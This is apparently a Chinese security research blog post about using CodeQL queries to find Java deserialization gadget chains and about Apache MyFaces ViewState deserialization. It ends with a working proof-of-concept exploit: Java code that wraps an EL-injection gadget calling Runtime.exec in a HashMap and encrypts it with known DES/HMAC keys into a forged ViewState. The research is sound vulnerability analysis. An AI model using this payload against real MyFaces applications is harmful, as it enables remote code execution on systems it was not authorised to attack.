利用codeQL自动化寻找反序列化链—myfaces反序列化

这篇文章介绍一下Myfaces反序列化的点,以及借此来利用CODEQL自动化地寻找其原生反序列化链。

利用CODEQL自动化寻找原生链

https://github.com/byname66/GadgetWalker

对于这种不大的项目,我习惯简单粗暴地用maven去下载pom.xml的所有源码到当前目录,并用codeql的无构建模式构造数据库

mvn dependency:unpack-dependencies -Dclassifier=sources -DoutputDirectory=./deps-src

codeql database create myfacesDB --language=java --source-root=. --build-mode=none

下载源码这一步时,也可以自行选择加入tomcat的源码等等,以丰富sink source的链路。

自动化寻找反序列化链普遍的思路就是维护一个sink.qll,source.qll,作为sink,source方法的集合,查询语句中再使用polyCalls进行连通性查询。

这里有几点细节值得注意

1、在没有编译 JDK 源码的情况下,codeql 会经常性地忽略掉 JDK 内部类的 readObject 等方法。

对此我们可以将常见的能接上readObject的方法作为source点,如果找到了相应链条直接衔接上去即可。比如HashMap#hashCode,HashTable#equal等。

2、sink 点条件过于宽松导致大量误报

这点就需要针对性地对应不同的 sink 点制定写法了。

以 EL 注入的 sink 为例,我写的判断逻辑是这样的:

1、EL 注入 sink 方法需要调用有 el / expression 特征包名的类的 getValue 或 findValue 方法

2、该方法调用 getValue 或 findValue 方法的对象必须要是该类成员变量,能够反射修改。(只考虑了这种简单的情况,比如这个对象是由其它方法传递,且可控的这种情况就没有写入逻辑,实现起来要比较复杂)

比如这种就能被视作一个 sink 方法:

public class Test{

 javax.el.%.%Expression% expression;
 
 public void imSink(){
     expression.getValue();
}

}

3、查询语句注释带上 * @kind path-problem,可以展示路径

查询语句就利用polyCalls谓词配合edges即可。

这里写了一个初始版本,有比较普遍的sink、source点,比较简陋,可以任意补充:

https://github.com/byname66/GadgetWalker

在myfaces的原生链查询中,我们就能查询到这些结果 :

image-20260301015122684

测试下来还是挺多都能使用的,只是相应的误报还是会有,以后慢慢完善。

反序列化点

处理请求的大体架构也和Mojarra差不多,调用jsf规范的javax.faces.webapp.FacesServlet#service后,进入到myfaces自己实现的org.apache.myfaces.lifecycle去循环 调用六个phase进行六个阶段。

image-20260202172408625

其中也是恢复视图(Restore View)这一步进行了反序列化。

同样,myfaces也分client和server存储viewState

<context-param>
 <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
 <param-value>client</param-value>
</context-param>

server存储viewState的情况下,client to server的依旧是session,服务端会取出该session对应的SerializedViewCollection序列化流并反序列化。

对于服务端存储viewState的情况能否利用进行反序列化稍后再研究,先来简单过过client端存储的反序列化流程和利用。

in client

在myfaces恢复视图的核心逻辑中,会经过两个重要的接口方法:

org.apache.myfaces.application.viewstate.token.StateTokenProcessor#decode()

取出请求中的viewstate参数并作一些操作,结果存入savedStateObject,作为下一步的入参。
client-viewState此处反序列化

org.apache.myfaces.application.StateCache#restoreSerializedView()

对savedStateObject的"后处理"。
server-vieWState服务端此处反序列化

根据viewState存储在客户端/服务端,对应的实现类分别为ClientSideStateTokenProcessor/ServiceSideStateTokenProcessor

ClientSideStateCacheImpl/ServerSideStateCacheImpl

在客户端模式下ClientSideStateTokenProcessor#StateTokenProcessor()方法中,实现了反序列化逻辑:

image-20260202174300394

StateUtils#reconstruct()主要逻辑可以看作这几行:

public static final Object reconstruct(String string, ExternalContext ctx){
       bytes = string.getBytes(ZIP_CHARSET);
           bytes = decode(bytes);        //base64解码
           bytes = decrypt(bytes, ctx);  //密码学解密
           return getAsObject(bytes, ctx); //=readObject
}

其中myfaces是默认加密的,且AES / CBC / PKCS5Padding + HMAC,先验签再解密。这导致了Padding Oracle等密码学 攻击失效,且必须要知道密钥才能进行后续攻击。同Mojarra一样,如果存在任意文件读,可以尝试去web.xml等配置文件读密钥,如果没有指定密钥则随机生成。

可以通过这样一个脚本输出合法的序列化流编码:

import javax.crypto.Cipher;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;

public class GenerateLegitString {
   
// 硬编码的密钥配置(需要与解密端匹配)
private static final String ALGORITHM = "AES"; // 或 "DES" 等
private static final String MODE = "CBC";      // 或 "ECB" 等
private static final String PADDING = "PKCS5Padding";

// 密钥(必须是正确的长度:AES-128=16字节,AES-256=32字节)
private static final byte[] SECRET_KEY_BYTES = "0123456789abcdef".getBytes(); // 16字节
private static final byte[] MAC_KEY_BYTES = "abcdefghijklmnop".getBytes();    // 16字节

// IV(CBC模式需要,16字节)
private static final byte[] IV = "1234567890abcdef".getBytes();

// MAC算法
private static final String MAC_ALGORITHM = "HmacSHA256";

// 字符集
private static final String ZIP_CHARSET = "ISO-8859-1";

public static void main(String[] args) throws Exception {
   // 1. 准备要序列化的对象
   Object data = createDataObject(); // 创建你的数据对象
   
   // 2. 序列化并压缩
   byte[] objectBytes = serializeAndCompress(data);
   
   // 3. 加密和MAC签名
   byte[] encryptedBytes = encryptWithMac(objectBytes);
   
   // 4. Base64编码
   String finalString = Base64.getEncoder().encodeToString(encryptedBytes);
   
   System.out.println("生成的合法字符串: " + finalString);
}

/**
* 创建要序列化的数据对象
*/
private static Object createDataObject() {
   // 根据你的实际需求创建对象
   // 例如:Map、List、自定义对象等
   java.util.HashMap<String, String> map = new java.util.HashMap<>();
   map.put("key1", "value1");
   map.put("key2", "value2");
   return map;
}

/**
* 序列化并压缩(模拟getAsObject的逆操作)
*/
private static byte[] serializeAndCompress(Object obj) throws Exception {
   ByteArrayOutputStream baos = new ByteArrayOutputStream();
   try (ObjectOutputStream oos = new ObjectOutputStream(
           new DeflaterOutputStream(baos))) {
       oos.writeObject(obj);
  }
   return baos.toByteArray();
}

/**
* 加密并添加MAC签名(decrypt的逆操作)
*/
private static byte[] encryptWithMac(byte[] data) throws Exception {
   // 创建密钥
   SecretKey secretKey = new SecretKeySpec(SECRET_KEY_BYTES, ALGORITHM);
   SecretKey macSecretKey = new SecretKeySpec(MAC_KEY_BYTES, MAC_ALGORITHM.split("Hmac")[1]);
   
   // 1. 加密数据
   Cipher cipher = Cipher.getInstance(ALGORITHM + "/" + MODE + "/" + PADDING);
   if (IV != null) {
       IvParameterSpec ivSpec = new IvParameterSpec(IV);
       cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);
  } else {
       cipher.init(Cipher.ENCRYPT_MODE, secretKey);
  }
   byte[] encrypted = cipher.doFinal(data);
   
   // 2. 计算MAC(Encrypt-then-MAC 组合方式)
   Mac mac = Mac.getInstance(MAC_ALGORITHM);
   mac.init(macSecretKey);
   mac.update(encrypted);
   byte[] macBytes = mac.doFinal();
   
   // 3. 合并:加密数据 + MAC
   byte[] result = new byte[encrypted.length + macBytes.length];
   System.arraycopy(encrypted, 0, result, 0, encrypted.length);
   System.arraycopy(macBytes, 0, result, encrypted.length, macBytes.length);
   
   return result;
}

/**
* 完整生成方法(供外部调用)
*/
public static String generateLegitString(Object data) throws Exception {
   // 序列化并压缩
   byte[] objectBytes = serializeAndCompress(data);
   
   // 加密和MAC签名
   byte[] encryptedBytes = encryptWithMac(objectBytes);
   
   // Base64编码
   return Base64.getEncoder().encodeToString(encryptedBytes);
}

in server

在server-viewState模式下,ServiceSideStateTokenProcessor#code仅仅进行解码操作:

String token
byte[] tokenBytes = token.getBytes(StateUtils.ZIP_CHARSET);
byte[] tokenBytesDecoded = StateUtils.decode(tokenBytes);       //base64
String tokenDecoded = new String(tokenBytesDecoded, StateUtils.ZIP_CHARSET);

return tokenDecoded;

此时tokenDecoded是一串16进制字符串,随后在ServerSideStateCacheImpl#restoreSerializedView()先进行十六进制转byte,再作为入参调用ServerSideStateCacheImpl#getSerializedViewFromServletSession()

这个方法涉及到反序列化的逻辑就这几句:

  SerializedViewCollection viewCollection = (SerializedViewCollection) externalContext
                  .getSessionMap().get(SERIALIZED_VIEW_SESSION_ATTR);
           if (viewCollection != null)
          {
               if (sequence != null)
              {
                   Object state = viewCollection.get(
                           getSessionViewStorageFactory().createSerializedViewKey(
                           context, viewId, sequence));
                   if (state != null)
                  {
                       serializedView = deserializeView(state);
                  }
              }
          }

从ServletExternalContextImpl实例的_sessionMap中获取键为SERIALIZED_VIEW_SESSION_ATTR的值,作为viewCollection。

包装一个描述当前信息的SerializedViewKey,并作为键从获得的viewCollection取值。

image-20260202182241377

deserializeView方法只会对byte[]类型的入参反序列化

只要经过调试我们就能发现,用我们如今的配置无论怎么请求 ,state,也就是deserializeView的入参一般都不会是byte:

image-20260202182339438

到底什么情况下这里的value值才会是byte[]呢?

这里也涉及到Myfaces的默认配置:

<context-param>
<param-name>org.apache.myfaces.SERIALIZE_STATE_IN_SESSION</param-name>
<param-value>true</param-value>
</context-param>

Myfaces默认这条配置为false,体现在代码逻辑中就是,Myfaces对server-viewState默认以对象的方式存储,而不是序列化流。

鉴于几乎没人去开启这个配置,官方文档里面这个配置也是被拜访在犄角旮旯里面,查都难以查到,这里就不深入去谈论开启这个选项的利用了。

我们不妨转而去深挖,就让一切都在默认配置的状态下,这个_sessionMap能否被注入一个带有恶意byte[]的viewCollection呢?

对_sessionMap寻找调用,唯一一个能控制写入值的方法就是ServletExternalContextImpl#getSessionMap():

image-20260203145253601
image-20260203150712821

_sessionMap是ServletExternalContextImpl的成员变量,而ServletExternalContextImpl相当于一个JSF请求的生命周期,我们可以为_sessionMap设定一个Field Watchpoint,以便监听它在整个生命周期中值的变化。

image-20260203164336373

image-20260203174828143可以发现整个请求过程中,_httpServletRequest都是TOMCAT容器里面的RequestFacade。

  SerializedViewCollection viewCollection = (SerializedViewCollection) externalContext
                  .getSessionMap().get(SERIALIZED_VIEW_SESSION_ATTR);
           if (viewCollection != null)
          {
               if (sequence != null)
              {
                   Object state = viewCollection.get(
                           getSessionViewStorageFactory().createSerializedViewKey(
                           context, viewId, sequence));
                   if (state != null)
                  {
                       serializedView = deserializeView(state);
                  }
              }
          }

再来看这几行代码,也就是说,先获取RequestFacade里面存储的SerializedViewCollection,再从这个SerializedViewCollection中通过get获取key对应的value。

实际上是通过SerializedViewCollection中的_serializedViews.get(key)进行获取。

private final Map<SerializedViewKey, Object> _serializedViews = 
  new HashMap<SerializedViewKey, Object>();

问题来了,RequestFacade里面存储的SerializedViewCollection可控吗?如果可控我们此处就可以让传入deserializeView的state为恶意徐序列化流。

答案是不能。

SerializedViewCollection在myfaces框架里就相当于是session,在Tomcat内置的getSession方法中被创建,且有且只有这一个创建的路径。

当然SerializedViewCollection在外部有一些地方被调用了put方法:

image-20260203175930222

可惜的是,单纯的处理请求的调用链无法可控地去操控这些put。

链子寻找/利用

那么看来,myfaces框架反序列化的利用就限定于client-viewState的情况了,且,还要想办法去获取它的私钥,可能利用的情景只能是这样:

比如某某OA就利用了myfaces框架且把私钥硬编码在了web.xml等配置文件。应用自己声明了私钥,且存在任意文件读,能去web.xml等配置文件里面读私钥。

利用前面提到的CODEQL自动化寻找,我们可以找到挺多能够原生利用的链子的,比如这里随便用一个:

image-20260301023051115

包装好ContextAwareTagValueExpression后,放到HashMap的key位置即可。

public class bornSer {

   private static final String ALGORITHM = "DES";
   private static final String MODE = "ECB";
   private static final String PADDING = "PKCS5Padding";

   private static final byte[] SECRET_KEY_BYTES = {
           37, 121, -50, 81, 28, 98, 59, 52
  };

   private static final byte[] MAC_KEY_BYTES = {
           -38, -114, 119, -107, -65, -7, 76, -51, 5, 126, -86, 78, -30, -96, -122, 32, -126, -91, -65, 84, 7, -122, 106, -69, 123, 33, 49, 36, 46, -17, -95, 3, -54, 27, 119, 111, 42, 105, 17, 59, 87, 113, 38, 29, -119, -42, -82, 87, 43, 43, -63, -89, -1, 101, -81, 19, 79, -121, 74, -120, 112, 98, -7, 96
  };

   private static final byte[] IV = null;
   private static final String MAC_ALGORITHM = "HmacSHA1";

   public static void main(String[] args) throws Exception {
       Object data = createDataObject();
       String base64 = generateLegitString(data);
       String urlEncoded = URLEncoder.encode(base64, "UTF-8");

       System.out.println("===== 生成的合法字符串 =====");
       System.out.println("URL编码后: " + urlEncoded);
  }

   private static Object createDataObject() throws IllegalAccessException, NoSuchFieldException {
       FacesContextImpl fc   = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
       ELContext initContext = new FacesELContext(new CompositeELResolver(), fc);
       Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
       field.setAccessible(true);
       field.set(fc, initContext);
       ExpressionFactory initFactory = ExpressionFactory.newInstance();

       ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
       ELContext elContext = new StandardELContext(expressionFactory);
       String exp = "${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
       ValueExpression valueExpression = expressionFactory.createValueExpression(elContext, exp, Object.class);
       ValueExpressionMethodExpression valueExpressionMethodExpression = new ValueExpressionMethodExpression(valueExpression);
       TagAttribute tagAttribute = new TagAttributeImpl(null, "", "test", "test", "123");
       ValueExpressionLiteral valueExpressionLiteral = new ValueExpressionLiteral(valueExpressionMethodExpression,Object.class);
       ContextAwareTagValueExpression contextawaretagvalueexpression = new ContextAwareTagValueExpression(tagAttribute,valueExpressionLiteral);

       HashMap hashMap = new HashMap();
       hashMap.put(contextawaretagvalueexpression,"byname");
       return hashMap;
  }


   private static byte[] serialize(Object obj) throws Exception {
       ByteArrayOutputStream baos = new ByteArrayOutputStream();
       try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
           oos.writeObject(obj);
      }
       return baos.toByteArray();
  }

   private static byte[] encryptWithMac(byte[] data) throws Exception {
       SecretKey secretKey = new SecretKeySpec(SECRET_KEY_BYTES, ALGORITHM);
       SecretKey macSecretKey = new SecretKeySpec(MAC_KEY_BYTES, MAC_ALGORITHM);

       // 1. 加密
       Cipher cipher = Cipher.getInstance(ALGORITHM + "/" + MODE + "/" + PADDING);
       cipher.init(Cipher.ENCRYPT_MODE, secretKey);
       byte[] encrypted = cipher.doFinal(data);

       // 2. 计算 MAC
       Mac mac = Mac.getInstance(MAC_ALGORITHM);
       mac.init(macSecretKey);
       mac.update(encrypted);
       byte[] macBytes = mac.doFinal();

       byte[] result = new byte[encrypted.length + macBytes.length];
       System.arraycopy(encrypted, 0, result, 0, encrypted.length);
       System.arraycopy(macBytes, 0, result, encrypted.length, macBytes.length);

       return result;
  }

   public static String generateLegitString(Object data) throws Exception {
       byte[] bytes = serialize(data);  // 不再压缩
       byte[] encrypted = encryptWithMac(bytes);
       return Base64.getEncoder().encodeToString(encrypted);
  }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇